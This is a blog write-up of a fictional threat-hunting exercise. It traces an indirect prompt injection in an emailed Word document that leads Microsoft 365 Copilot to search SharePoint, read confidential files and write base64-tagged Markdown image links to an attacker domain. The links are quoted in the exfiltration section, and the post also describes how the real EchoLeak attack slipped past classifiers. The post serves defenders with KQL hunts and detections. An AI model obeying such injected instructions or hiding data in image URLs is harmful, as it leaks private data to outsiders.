breakfixlearn.com
%BLOG-5-SEC

Threat Hunting Casebook 01: Hunting a Hijacked Microsoft 365 Copilot Session

One email, an 87-minute wait, and a routine request to Copilot. This hunt traces an EchoLeak-style indirect prompt injection from the lure to 13 exposed files and 13 exfiltration links, then states exactly what the logs cannot prove.

show ip route | toc (20 sections)
  1. TL;DR
  2. Why this scenario matters
  3. The setup
  4. Step 1: Orient before you hunt
  5. Step 2: Find the lure
  6. Step 3: The 87-minute gap
  7. Step 4: What does normal Copilot look like?
  8. Step 5: The words she never typed
  9. Step 6: It was not five files. It was thirteen
  10. Step 7: Was it Emily or was it Copilot?
  11. Step 8: How the data got out
  12. Step 9: Three attack patterns in one session
  13. Step 10: Ruling out everything else
  14. What the logs cannot tell you
  15. Mapping it: ATT&CK, ATLAS, and where I disagreed
  16. Detections that would have caught it
  17. What I would tell Cormorant Capital
  18. KQL lessons from this hunt
  19. What I took away
  20. Frequently asked questions

At 10:42 UTC on 20 September 2026, an analytics rule fired at a fictional financial advisory firm called Cormorant Capital Partners. A financial analyst named Emily Chen had opened five files she had never touched before: board meeting minutes, an M&A target assessment, a salary review, a client portfolio and a configuration file. All of it within seconds.

When asked about it, Emily said something that sounds completely normal in 2026. She had received a quarterly market report by email that morning and asked Microsoft 365 Copilot to summarise it. That was all.

Her sign-ins were clean. No impossible travel, no failed logins, no new device, no malware alerts. Nothing between the email and the file burst looked unusual. This post is how I worked out what happened, using nothing but KQL and three audit tables, and why it is a textbook case of every traditional control doing its job while the data still walks out the door.

Spoiler notice: this walks through the full solution to the Operation ECHOLEAK hunt on the Pacific Watch platform. If you plan to play it, bookmark this and come back afterwards. The organisation, people and data are fictional, and every finding comes from my own analysis of the supplied telemetry.

Bar chart of Copilot prompt, tool call, file access and response events per 30 seconds for the victim between 10:42 and 10:46 UTC
One prompt at 10:42:35, then two machine-speed waves of searches and file reads, each closed by a Copilot response carrying exfiltration links. Times in UTC.

TL;DR

  • A single targeted email delivered a Word document carrying hidden instructions meant for an AI, not a human.
  • The document sat dormant for 87 minutes. Nothing happened until Emily asked Copilot to summarise it.
  • Six seconds after her prompt, Copilot started searching SharePoint for board minutes, M&A targets and salary reviews. She never typed those words.
  • The alert saw 5 files. The real exposure was 13 sensitive files plus Copilot's own system configuration.
  • Copilot hid references to every stolen item inside Markdown image links pointing to an attacker domain. When the reply renders, the app loads those "images" and the data leaves. No click needed.
  • Identity was never compromised. Every action was a trusted Microsoft service acting with a valid user's permissions.
  • The logs prove the exfiltration links were created. They cannot prove the links were loaded, and knowing exactly where that line sits was one of the most important parts of the investigation.

The full report, every KQL query and all 24 evidence screenshots are in the Incident 01 folder on GitHub.

Why this scenario matters

The classic phishing story goes like this: an email arrives, someone opens an attachment, a macro or exploit runs code, and the hunt is about finding that code through the process tree, the network connection and the persistence. This scenario has none of that.

It is modelled on a real vulnerability. In June 2025, Aim Labs disclosed EchoLeak (CVE-2025-32711), a zero-click flaw in Microsoft 365 Copilot that Microsoft fixed server-side and that was widely reported with a critical CVSS score of 9.3. Aim called the core problem an LLM scope violation: untrusted content from outside the organisation contains instructions, and the AI assistant follows them using its access to privileged internal data.

The published research had three clever parts, which Simon Willison's breakdown of EchoLeak and The Hacker News coverage both explain well:

  • The malicious instructions were written as if addressed to the human reader, which helped them slip past Microsoft's cross-prompt injection classifiers.
  • Data left through Markdown image syntax. Rendering an image means fetching its URL, and if the URL contains your data, the fetch delivers it.
  • The request was routed through an allow-listed Microsoft domain to get past the content security policy.

The shift that matters for defenders: the payload is text, and the "execution" happens inside an AI service in the cloud. EDR watches the endpoint. Identity protection watches sign-ins. Neither watches what an AI assistant decides to do with a document. This is not only a lab idea either. Unit 42 has documented indirect prompt injection against AI agents in the wild, and I wrote earlier about an AI agent tricked into attacking its own network through a guard that read an address one way while the network read it another.

The setup

The hunt ran in a Microsoft Sentinel workspace, queried through Defender advanced hunting, with three custom tables:

TableWhat it tells you
OfficeActivity_CLWhat happened: mail delivered, files accessed (the Microsoft 365 unified audit log)
CopilotAudit_CLWhy it happened: prompts, tool calls, searches, responses
EntraSignIn_CLWho was authenticated, and from where

Every table had a RunId column to scope the data, and the hunt window was 09:00 to 11:00 UTC. Two identities were in scope: Emily, the analyst, and Mark Ross, the firm's Global Administrator. Every query started with the same prelude:

let runid = "el--17-20260920";
let start = datetime(2026-09-20T09:00:00Z);
let end   = datetime(2026-09-20T11:00:00Z);
let victim = "emily.chen@cormorantcapital.com";
let admin  = "mark.ross@cormorantcapital.com";
let oa = OfficeActivity_CL | where RunId == runid and TimeGenerated between (start .. end);
let cp = CopilotAudit_CL   | where RunId == runid and TimeGenerated between (start .. end);
let si = EntraSignIn_CL    | where RunId == runid and TimeGenerated between (start .. end);

This is Incident 01 of the Threat Hunting Casebook, a series I am building as one GitHub repository with one folder per incident and the same file set every time: briefing, hunt plan, query library, timeline, findings, MITRE mapping, detections, a client meeting script and evidence. The structure forces me to plan before I query and to write down negative results instead of hiding them. If you want to see how the same discipline looks with free tools, my SOC-HomeLab threat hunt report works through a day of Wazuh and Zeek alerts the same way.

Step 1: Orient before you hunt

The first job was confirming what each table actually contains. It sounds boring. It saved me twice.

Defender advanced hunting getschema result for OfficeActivity_CL showing 20 columns with names and data types
getschema on OfficeActivity_CL returned 20 columns. Almost everything is a string, which matters as soon as you compare values.

The data dictionary listed the main fields, but the real tables had extras that turned out to matter: ClientIP on file access, SensitivityLabels on Copilot tool calls, and MfaDetail on sign-ins. There was also a second timestamp, OriginalTime. I checked which one actually lined up with the window. OriginalTime was empty, so TimeGenerated was the real event time.

KQL union across three custom tables showing row counts and first and last timestamps for the RunId
The RunId check: 218 Copilot rows, 530 Office rows and 80 sign-ins, spread from 07:15 to 13:45 UTC. The portal shows local time (UTC-7), so 12:15 AM here is 07:15 UTC.

That check mattered more than it looks. The RunId held data from 07:15 to 13:45 UTC, well outside the two-hour window, so forgetting the time filter would have mixed baseline activity into the hunt. A quick volume profile then set the noise floor.

KQL summary of OfficeActivity_CL rows by user, workload and operation with Emily Chen at 22 SharePoint FileAccessed events
91 user, workload and operation combinations in the window. Emily's 22 SharePoint file reads top the list, which already hints at where the story is.

I also found that SiteUrl, which I had planned to use to show which SharePoint sites were reached, was empty for every row I cared about, so I parsed the site name out of the file path instead. If I had built conclusions on that empty column, I would have reported "no sites accessed" and been confidently wrong.

Lesson one: a data dictionary is a promise, not a guarantee. Confirm what is actually populated.

Then came my first real mistake. The portal showed the lure email arriving at "2:15 AM" while the case file said around 09:15. It took a moment to realise the Defender portal was showing my local time in Vancouver, UTC-7. Every timestamp on screen was seven hours behind the case. I converted everything to UTC in my notes and put a time zone warning at the top of the query library.

Lesson two: check which time zone your tool is displaying before you build a timeline. It is the cheapest mistake to avoid and the most embarrassing one to ship. The screenshots below keep the portal's local time; the text uses UTC.

Step 2: Find the lure

Only two messages reached Emily in the window: a weekly analytics email from a marketing platform, and one from quarterly.reports@globalfinancereview.net at 09:15:22 UTC with the subject "Q3 2026 Global Markets Review - For Your Analysis" and the attachment Q3-2026-Global-Markets-Review.docx.

Defender advanced hunting record for the lure email from quarterly.reports@globalfinancereview.net with the attachment Q3-2026-Global-Markets-Review.docx
The lure: an external sender, a plausible subject and the exact document Emily later asked Copilot to summarise.

To make sure it was the lure and not just routine external mail, I summarised every external sender in the window. There were 13 of them, and the lure sender sent exactly one message, to one person.

KQL summary of 13 external email senders with message counts, recipients and subjects, lure sender selected
13 external senders in the window. The lure sender appears once, with Emily as the only recipient.
KQL query returning one message from the lure sender to one recipient
Every message from the lure sender: one row. I repeated the check across the full RunId with the same result.

This was not a mass phishing campaign. It was aimed at a single analyst who had Copilot and, as it turned out, far broader SharePoint access than her job needed.

Step 3: The 87-minute gap

The case file said nothing unusual appeared between the email and the file burst. I wanted to see that for myself, so I built one merged timeline across all three tables for Emily, with Office events, Copilot events and sign-ins side by side.

union
  (oa | where UserId =~ victim | project TimeGenerated, Src="Office", Action=Operation, Detail=strcat(OfficeObjectId, " ", Subject, " ", AttachmentNames, " ", SenderAddress)),
  (cp | where UserId =~ victim | project TimeGenerated, Src="Copilot", Action=InteractionType, Detail=strcat(SessionId, " | ", UserPrompt, ToolName, " ", ToolParameters, " ", DataSourcesAccessed, " ", SensitivityLabels, " ", CopilotResponse)),
  (si | where UserPrincipalName =~ victim | project TimeGenerated, Src="SignIn", Action=Status, Detail=strcat(IPAddress, " ", Location, " ", AppDisplayName))
| order by TimeGenerated asc

That query became the backbone of the investigation. It showed:

  • 09:15:22 the email arrives
  • Two sign-ins from her known IP in London, a marketing email at 10:24, and some normal Copilot use
  • 10:42:08 Emily opens her OneDrive copy of the quarterly report
  • 10:42:35 she asks Copilot: "Summarise the key findings of this quarterly report"
  • 10:42:41 Copilot starts searching SharePoint
List of Copilot prompts submitted by the victim with the attack session prompt Summarise the key findings of this quarterly report
Emily's Copilot prompts. The one that triggered the attack asks for nothing more than a summary.

The gap between delivery and her first interaction with the document was 1 hour, 26 minutes and 46 seconds. That tells you a lot about the attack model. Delivery did nothing. The document did not call home, run or touch anything. It waited, and the trigger was Emily's normal request to Copilot. The attacker did not need to be online, and the delay could just as easily have been 87 days.

That matters for detection. Plenty of phishing logic looks for "email arrives, then something suspicious happens shortly after." This attack breaks that assumption: the suspicious activity is separated from delivery by however long it takes the victim to read their mail with an AI assistant.

Step 4: What does normal Copilot look like?

Before calling anything malicious, I needed a baseline. This is where "this looks weird" becomes "this is provably abnormal". I summarised every Copilot session in the window by prompts, tool calls and searches:

cp | summarize Start=min(TimeGenerated), EndT=max(TimeGenerated),
    Prompts=countif(InteractionType=="Prompt"), ToolCalls=countif(InteractionType=="ToolCall"),
    Searches=countif(InteractionType=="Search"), Apps=make_set(Application)
  by UserId, SessionId
| extend ToolCallsPerPrompt = todouble(ToolCalls) / iff(Prompts == 0, 1, Prompts)
| order by Start asc
Copilot session summary of 35 sessions with the attack session showing 1 prompt, 16 tool calls and 5 searches
35 sessions from 14 users. Every other session is prompt and response only. Session cp-emily-20261007-1042 has 16 tool calls and 5 searches.

There were 35 sessions from 14 users. Every one of them was prompt and response only, with zero tool calls and zero searches. Except one: session cp-emily-20261007-1042 had 1 prompt, 3 responses, 16 tool calls and 5 searches.

For an even stronger comparison, I looked only at Emily's own sessions across the whole dataset where she asked Copilot to summarise something. Same user, same day, same kind of request.

Emily Chen summarise sessions compared, seven with zero tool calls and the attack session with 16 tool calls and 5 searches
Emily's own summarise sessions as the control group. Seven normal sessions have zero tool calls. The attack session has 16, with the lure document as its source.

Seven normal sessions, each with one prompt, one response and zero tool calls. One attack session with 16 tool calls and 5 searches. The hunt even included that objection: Emily's manager argues that the file access is normal business activity. Her own behaviour says otherwise.

One thing I deliberately did not use as evidence: several normal sessions had more responses than prompts. If I had flagged "three responses to one prompt" on its own, I would have flagged innocent users too. The finding rests on tool activity, search terms and data accessed, not on a pattern that also shows up in the noise.

Step 5: The words she never typed

Here is the transcript of the attack session.

Transcript of the attack Copilot session showing the summarise prompt followed by Graph.SearchFiles and Graph.ReadFile tool calls
25 rows in one session: the summarise prompt, then Graph.SearchFiles calls for board minutes, M&A and salary material, then Graph.ReadFile on Confidential files.

Emily's prompt: "Summarise the key findings of this quarterly report." Six seconds later, Copilot calls Graph.SearchFiles three times, for "board minutes confidential", "M&A acquisition target" and "salary review confidential".

Tool calls and searches in the attack session with injected search queries and Confidential sensitivity labels on file reads
Every tool action in the session: 21 rows. The search terms do not appear anywhere in the prompt, and the file reads carry the Confidential label.

Emily never typed any of those words. The only other source of instructions in that session is the document she asked Copilot to read. This is indirect prompt injection, MITRE ATLAS technique AML.T0051.001: the instructions come from data the model processes, not from the user. Copilot then read five files, two seconds apart:

Time (UTC)FileSite
10:42:47Board Meeting Minutes - October 2026.docxExecutive
10:42:49Project Falcon - M&A Target Assessment.xlsxExecutive
10:42:51Salary Review FY2027 - Executive Summary.pdfHR
10:42:53Client Portfolio - Henderson Family Office.xlsxFinance
10:42:55Copilot System Configuration - Cormorant.jsonIT

Two seconds per file is machine speed. No human browses SharePoint like that.

Step 6: It was not five files. It was thirteen

First I confirmed the alert's own number: five distinct sensitive files in the burst, not counting the lure document itself.

KQL distinct count returning 5 sensitive files accessed in the alert window excluding the lure document
Five distinct files in the alert window once the lure document is excluded. This matches the alert, and it is only the start.

Nobody else touched those files, and this was the only session in the window that reached labelled content at all.

KQL check showing only Emily Chen accessed the wave 1 burst files, with the configuration file accessed twice
Who else touched the burst files: nobody. The configuration file was accessed twice, which comes back later.
Sessions reaching labelled content, only the attack session with 6 calls labelled Confidential and Internal Only
Only one session reached labelled content: six calls touching Confidential and Internal Only material.

Then I kept reading the timeline past the burst, and the session kept going. At 10:45:30, with no new input from Emily, Copilot ran five more searches, this time broad ones: "confidential", "restricted", "board", "acquisition", "salary".

Five broad Copilot search terms confidential restricted board acquisition and salary scoped to the firm SharePoint
Wave 2: five broad searches across the firm's SharePoint, with no new prompt from the user.

It then read eight more files between 10:45:46 and 10:46:30:

  • Compliance Audit Results - H2 2026
  • Restricted Client List - Internal Only
  • Board Resolution - Emergency Session
  • Acquisition Pipeline - Q4 2026
  • Executive Salary Benchmarking 2027
  • Confidential Investigation - Insider Trading
  • Board Committee Minutes - Audit Committee
  • Quarterly Revenue Report - Restricted Distribution

Total exposure: 13 sensitive files plus the Copilot system configuration, across the Executive, HR, Finance and IT sites. The analytics rule saw a little over a third of it.

This is the takeaway I would underline for anyone working in a SOC. The alert is where the investigation starts, not where it ends. If I had answered "what did the alert see?" instead of "what did the session do?", the report would have understated the exposure by more than half, missing an active insider-trading investigation along the way.

Step 7: Was it Emily or was it Copilot?

This sounds philosophical, but it has a practical answer in the logs, and the answer surprised me. I grouped all of Emily's Office activity by source IP.

FileAccessed events for the victim, every row from client IP 203.0.113.45 including the file reads Copilot performed
Every file read, including the 13 Copilot performed, carries Emily's own IP, 203.0.113.45. Nothing in this table says an AI agent did it.

Every event, including the 13 reads Copilot performed, came from 203.0.113.45, Emily's own address. The Microsoft 365 audit log recorded Copilot's file access as Emily, from Emily's IP. That has two consequences:

  • It explains why nothing fired on identity or location. There was no other IP, location or device to flag.
  • A detection built only on the activity log cannot tell a person from an agent. Proving Copilot did the reading means correlating the Copilot audit table with the Office audit table.

So I wrote a correlation query that joins the email, the Copilot session and every file access into one row. My first version was wrong, and I want to be honest about that. It matched sessions to file bursts by time window: any session that started within 15 minutes before a burst. The result looked impressive and was mostly garbage. Normal sessions "owned" attack files, and the attack session was split across several rows.

The fix was to join on file identity instead of time. Copilot's Graph.ReadFile call carries the exact file URL in its parameters, so I parsed it out and matched it to the FileAccessed event for the same file within 10 seconds:

let reads = cp | where UserId =~ victim and InteractionType == "ToolCall" and ToolName == "Graph.ReadFile"
    | extend FileId = tostring(parse_json(ToolParameters).fileId)
    | project SessionId, ReadTime=TimeGenerated, FileId;
let access = oa | where UserId =~ victim and Operation == "FileAccessed"
    | project AccessTime=TimeGenerated, FileId=OfficeObjectId;
reads | join kind=inner access on FileId
| where abs(datetime_diff("second", AccessTime, ReadTime)) <= 10
| summarize FirstRead=min(ReadTime), LastRead=max(ReadTime), FileCount=dcount(FileId), Files=make_set(FileId) by SessionId

The full version adds the email and the prompt, and it returned exactly one row: the lure at 09:15:22, the session, the prompt at 10:42:35, and all 13 files.

Chain correlation result joining the lure email, the Copilot session and 13 SharePoint file reads into a single row
The whole chain in one row: lure email, Copilot session and the 13 SharePoint files it read, joined on file identity rather than time.

Lesson three: correlation by time alone produces convincing false positives. Correlate on something the two events actually share.

Step 8: How the data got out

I pulled every URL out of Copilot's responses. The first response, at 10:43:08, looked like a believable market summary: equity markets up, bond yields stabilising, emerging market currencies strengthening. Then, at the bottom, a "Charts" section:

![Chart 1](https://metrics-cdn.analyticshub.io/img?d=Qm9hcmQgTWVldGluZyBNaW51...)
![Chart 2](https://metrics-cdn.analyticshub.io/img?d=UHJvamVjdCBGYWxjb24gLSBN...)
![Chart 3](https://metrics-cdn.analyticshub.io/img?d=U2FsYXJ5IFJldmlldyBGWTIwMjcg...)
![Chart 4](https://metrics-cdn.analyticshub.io/img?d=Q2xpZW50IFBvcnRmb2xpbyAtIE...)
Copilot response with a plausible market summary followed by four Markdown chart images pointing to metrics-cdn.analyticshub.io
Response 1: a convincing summary on top, and four "chart" images underneath, each pointing to metrics-cdn.analyticshub.io with a base64 d parameter.

The d parameter looked like base64. Decoding the first one by hand gave "Board Meeting Minu", and the next gave "Project Falcon - M". Then I let KQL decode every one of them:

cp | where InteractionType == "Response"
| mv-expand Url = extract_all(@"(https?://[^\s\)\]\>""']+)", CopilotResponse) to typeof(string)
| extend Host = tostring(parse_url(Url).Host), D = tostring(parse_url(Url)["Query Parameters"]["d"])
| where isnotempty(D)
| extend Decoded = base64_decode_tostring(D)
| project TimeGenerated, UserId, SessionId, Host, Decoded, Url
| order by TimeGenerated asc

Summarising every URL host across all responses showed how isolated it was. Normal chart sessions linked to the firm's own SharePoint. Only one external host appeared, with 13 hits, all from the attack session.

Summary of URL hosts in Copilot responses showing metrics-cdn.analyticshub.io with 13 hits from a single session next to internal SharePoint links
URL hosts across all Copilot responses. The firm's SharePoint appears in normal sessions. metrics-cdn.analyticshub.io appears 13 times, in one session only.

Thirteen exfiltration links, one host, three responses:

Response (UTC)TagLinksWhat was sentPattern
10:43:08s=1 to s=44The first four wave 1 filesEchoLeak
10:44:19s=config1system_prompt_cormorant_capitalConfiguration leak
10:46:35s=sl1 to s=sl88The eight wave 2 filesSearch-based enumeration

Why it works

When Copilot's reply is displayed, the client sees Markdown image syntax and tries to load each image. Loading an image is an HTTPS GET to the URL, and if the URL contains your data, the request hands it to whoever runs the server. The user sees a summary with a few blank charts and probably thinks nothing of it.

Why EDR will not catch it

  • There is no malicious process. The request comes from a legitimate, signed browser or Office process.
  • There is no malicious file on disk.
  • The traffic is a normal image load over 443 to a domain named to look like an analytics CDN.
  • The data is small and sits in the URL, not in an upload your DLP is watching.
  • The decision to exfiltrate was made inside the AI service, not on the device.

Compared with the published research, the scenario was simpler in two ways. It used plain inline image syntax instead of the reference-style Markdown trick, and it sent the request straight to the attacker domain instead of routing it through an allow-listed Microsoft domain. The core idea is identical, and I noted the differences in the report rather than pretending the scenario matched the research exactly.

Step 9: Three attack patterns in one session

The tags in those URLs told a story of their own. The session did three different things in sequence:

  • Targeted extraction (EchoLeak). Search for specific high-value material, read it, leak it.
  • Configuration leak (CoSnitch). Read Copilot's own system configuration and leak a reference to the system prompt. There was even an extra access to the configuration file at 10:44:15 with no tool call before it, four seconds before the response that leaked it.
  • Search-based enumeration (SearchLeak). Broad keyword searches to sweep up anything else sensitive.

The configuration leak is the one I would worry about most. Leaking a board document hurts once. Leaking how your AI assistant is configured, including its guardrails, tools and data sources, gives an attacker a blueprint for better injections against every other user in the firm.

A note on honesty: the case file listed CVE identifiers for the CoSnitch and SearchLeak patterns, and I could not verify them in public sources. In the report I cite them as "listed in the exercise material" rather than as confirmed real-world CVEs. If you write about scenarios like this, I would encourage you to do the same.

Step 10: Ruling out everything else

A good investigation proves what did not happen as well as what did, because each alternative explanation leads to a completely different fix. The hunt asked me to classify the incident as one of three things.

HypothesisEvidenceResult
Emily's account was compromisedAll sign-ins successful from her known IP with MFA, no failures anywhere in the tenant, benign promptRuled out
Copilot's configuration was tampered withConfiguration file read but never modified; Emily's later sessions at 11:45 and 12:58 UTC behave normally with zero tool callsRuled out
External input manipulated CopilotThe only abnormal session is grounded on the external document; unrelated searches appear 6 seconds after the promptConfirmed
Entra ID sign-ins for the victim, two successful sign-ins from 203.0.113.45 London with MFA completed
Emily's sign-ins in the window: two, both successful, both from 203.0.113.45 in London, both with MFA completed.

The configuration point is my favourite piece of reasoning in the case. If someone had changed Copilot's configuration, every session after the change would be affected. Emily's own sessions one and two hours later were completely normal. A tampered configuration does not switch itself back off.

I also checked every other way data could have left: sharing links, invitations, downloads, sync downloads, inbox rules and forwarding.

KQL check for sharing links, downloads, sync and inbox rule operations by the victim returning no results
No sharing, download, sync or mail rule activity. The Copilot image links are the only exfiltration path in the data.

One small KQL trap showed up here. has_any("Send") matches whole terms, so it silently missed MessageSent. I checked sent mail separately and found one internal all-hands reminder with no attachments.

Then the noise, and the people:

  • Mark Ross, the Global Admin. All activity from his known IP, no Copilot use, none of the stolen files touched. He opened an incident response playbook at 10:19, 23 minutes before the attack with no link to the lure, so I classed it as routine IT work rather than foreknowledge. One email he sent at 10:43 had no subject, no attachment and no recipient field in the table, so I recorded it as "purpose cannot be determined" instead of guessing.
  • Another user signing in from both Amsterdam and London. Tempting to chase, but he did not receive the lure, had no Copilot tool activity and nothing linked him to the chain. I referred it as a separate lead rather than folding it into this incident.
Merged activity for the Global Administrator showing sign-ins, file access and mail events from his known IP
All 12 events by the Global Admin in the window: routine sign-ins, his own files, an IR playbook, mail. Nothing touches the chain.
Scope query showing Emily Chen as the only lure recipient with Copilot sessions
Scope: only one lure recipient, and only one recipient with Copilot sessions. One user, one session, one exfiltration host.

Labelling something as "unrelated, refer separately" is a skill in itself. Not every anomaly in the data belongs to your incident.

One finding I did not expect: nobody responded. The alert fired at 10:42, and nothing in the logs shows a containment action by the only Global Admin before 11:00. No session revoked, no mail purged, no configuration changed. The alert existed. Nobody acted on it in time. It is the same lesson I ran into when building and triaging analytics rules in Sentinel: a rule only matters if someone owns what it produces.

What the logs cannot tell you

The hunt included one question that was deliberately unanswerable: can you prove the data actually left? The honest answer is no, and explaining why is worth full credit.

The logs prove that Copilot read 13 files and wrote 13 exfiltration links. They do not prove the links were loaded, because that request is made by Emily's client when the reply renders, and none of the three tables records client network traffic.

QuestionWhy these tables cannot answer itWhat would close the gap
Did the data reach the attacker?The image fetch happens in the clientProxy, DNS, firewall or endpoint network logs showing requests to metrics-cdn.analyticshub.io
What exact content left?Audit logs record access metadata, not content; the payloads decode to file identifiersProxy logs with full URLs, network capture, DLP with content inspection
What did the poisoned document say?No table stores document textMail detonation or an eDiscovery copy of the attachment
Who received the two ambiguous emails?No recipient fieldExchange message trace
Why was the config read again at 10:44:15 with no tool call?No ToolCall row precedes itFuller Copilot retrieval telemetry

This is one of the most underrated skills in threat hunting: stating precisely what you can prove, what you cannot, and what you would need to get the rest. A report that overclaims is worse than one that says "we cannot know this from the data we have."

Mapping it: ATT&CK, ATLAS, and where I disagreed

I mapped the incident to both MITRE ATT&CK and MITRE ATLAS, MITRE's framework for attacks on AI systems. ATT&CK alone has no technique for prompt injection, which says a lot about how new this attack class is.

TechniqueID
Phishing: Spearphishing AttachmentT1566.001
User Execution: Malicious FileT1204.002
LLM Prompt Injection: Indirect (ATLAS)AML.T0051.001
File and Directory DiscoveryT1083
System Information DiscoveryT1082
Data from Information Repositories: SharePointT1213.002
Exfiltration Over C2 Channel (closest fit)T1041
LLM Data Leakage (ATLAS)AML.T0057

The platform had its own mapping, and I disagreed with two of its choices:

  • T1059, Command and Scripting Interpreter. No script or interpreter ran anywhere. The model carried out natural-language instructions through its own tools, which is exactly what the ATLAS prompt injection technique describes.
  • T1041, Exfiltration Over C2 Channel. There was no command and control channel. The data left once, inside image URLs fetched when the reply rendered. I kept T1041 only as the closest ATT&CK fit and paired it with ATLAS LLM Data Leakage, which describes the outcome far better.

Arguing with an official mapping, using evidence, is more useful than copying it. ATT&CK was built for a world where attacks run code. AI incidents do not always fit, and saying so clearly is part of the analysis.

Detections that would have caught it

The point of a hunt is not only to explain one incident but to catch the next one faster. I proposed five detections, all built on audit data an E5 tenant already has:

IDLogicWould have fired at
D-001Copilot response contains Markdown image syntax pointing to a non-approved external host10:43:08
D-002One Copilot session reads 3 or more files labelled Confidential or higher10:42:51
D-003External attachment, then a Copilot session grounded on it, then 5 or more Copilot file reads10:42:55
D-0045 or more distinct files in 1 minute on sites the user has not touched in 30 days10:42:55
D-0053 or more Copilot searches in one session within 5 minutes10:42:45

D-005 fires first, but D-001 is the one I like most. It is simple, cheap and low-noise, and it targets the exfiltration mechanism itself rather than any particular file or domain:

CopilotAudit_CL
| where TimeGenerated > ago(1h) and InteractionType == "Response"
| extend ImgHost = extract(@"!\[[^\]]*\]\(https?://([^/\)\s]+)", 1, CopilotResponse)
| where isnotempty(ImgHost)
| where not(ImgHost endswith "cormorantcapital.sharepoint.com" or ImgHost endswith ".microsoft.com")
| project TimeGenerated, UserId, SessionId, ImgHost

The allow list matters: normal sessions in this dataset linked to the firm's own SharePoint, so a rule that flags every image would drown in noise. All five are marked proposed, not yet validated in production. They are built from this dataset, and a real deployment would need tuning against normal Copilot use first.

What I would tell Cormorant Capital

If I were presenting this to the firm, the recommendations would go roughly in this order:

  • Today: block the attacker domains, purge the lure email and the copy in Emily's OneDrive, confirm Microsoft's patch status for CVE-2025-32711, and brief legal on possible exposure of market-sensitive and personal data.
  • Within 30 days: fix oversharing so an analyst cannot reach board, HR and IT material at all, apply sensitivity labels and DLP so Copilot cannot ground on the most sensitive content, deploy the detections, and revise the exposed Copilot configuration.
  • Within 90 days: add proxy, DNS or endpoint network telemetry to the SIEM so "did the data leave?" has an answer next time, and build a triage process so an alert at 10:42 gets looked at before 11:00.

The root cause is two things working together. The injection supplied the intent. Oversharing supplied the reach. Copilot can only leak what the user can already access. Emily's job did not require board minutes, salary reviews or an insider-trading investigation, but her permissions allowed all of them.

And the person whose session was used did nothing wrong. She used the tool exactly as intended. The lure was designed so that normal behaviour would trigger it. Any post-incident conversation that starts with "why did Emily open that email?" has missed the point.

KQL lessons from this hunt

  • has matches whole terms. has "Summar" silently missed every "Summarise" prompt, and has_any("Send") missed MessageSent. For partial text use contains or startswith.
  • Strings that look like numbers are still strings. Custom tables often store everything as strings. Check with getschema before you compare.
  • Check for empty columns early. It is much faster to find out a column is empty before you build three queries on it.
  • Parse JSON parameters. parse_json(ToolParameters).fileId turned an opaque string into the join key that made the whole correlation possible.
  • base64_decode_tostring() exists. Decoding by hand is fun exactly once.

What I took away

The traditional SOC mental model asks what ran, who logged in and where the traffic went. This attack ran nothing on the endpoint, used a perfectly legitimate login, and sent its traffic through a trusted process doing an ordinary image load. The only place it was visible was the AI assistant's own audit trail, and only if you knew what normal looked like.

  • Baselining is everything. The most persuasive evidence in the report is Emily's own normal summarise sessions with zero tool calls next to the attack session with sixteen.
  • The alert is the beginning. The real exposure was more than twice what the alert saw.
  • Saying "I can't prove this" is a strength. Knowing exactly where the evidence ends, and what telemetry would extend it, is what makes a report trustworthy.

Every query, the timeline, the findings with their noise ledger, the detections and the full formal report are in the Incident 01 folder on GitHub. Start with the final report or go straight to the KQL query library. Future incidents in the casebook will follow the same structure and land in this series.

Frequently asked questions

What is indirect prompt injection?

It is when instructions for an AI model are hidden inside content the model processes, such as a document, an email or a web page, rather than typed by the user. The model treats those instructions as if they were part of the request. In this hunt the user asked Copilot for a summary, and the document she asked about told Copilot to go and search for board minutes, M&A files and salary reviews.

What was EchoLeak (CVE-2025-32711)?

EchoLeak is a zero-click vulnerability in Microsoft 365 Copilot disclosed by Aim Labs in June 2025 and fixed server-side by Microsoft. Untrusted content from outside the organisation could steer Copilot into reading privileged internal data and leaking it through Markdown image links. Aim Labs called the core flaw an LLM scope violation.

How can a Markdown image leak data without anyone clicking?

When a chat client displays a reply that contains Markdown image syntax, it fetches the image URL to render it. If the AI has put stolen data into that URL, the fetch itself delivers the data to whoever runs the server. The user only sees a summary with some blank or broken charts.

Why did EDR, MFA and sign-in risk not catch this attack?

Because nothing they watch looked wrong. No malicious process or file ran on the endpoint, the user signed in normally with MFA from her usual address, and every file read was done by a trusted Microsoft service using her real permissions. The only place the attack was visible was the Copilot audit trail.

Can audit logs tell the difference between a user and Copilot acting as that user?

Not on their own in this dataset. Every file Copilot read was recorded in the Office activity log as the user, from the user's own IP address. To prove Copilot did the reading, I had to join Copilot's own file-read tool calls to the file access events on the exact file identity, within ten seconds.

Can you prove the stolen data actually left the organisation?

No, and saying so precisely is the right answer. The logs prove Copilot read 13 files and wrote 13 links carrying references to them. The image fetch happens in the user's client, and none of the three tables records client network traffic. Proxy, DNS, firewall or endpoint network logs showing requests to the attacker host would close that gap.

Which detection would have caught this earliest?

A rule for three or more Copilot searches in one session within five minutes would have fired at 10:42:45, ten seconds after the prompt. The rule I would trust most is the one flagging Copilot responses that contain Markdown images pointing outside approved domains. It targets the exfiltration mechanism itself and would have fired at 10:43:08.

Should a company turn Copilot off after an incident like this?

That treats the symptom. The injection supplied the intent, but oversharing supplied the reach: Copilot can only read what the user can already access. Fixing access to board, HR and IT sites, applying sensitivity labels and DLP, restricting external image rendering and deploying detections addresses the actual cause.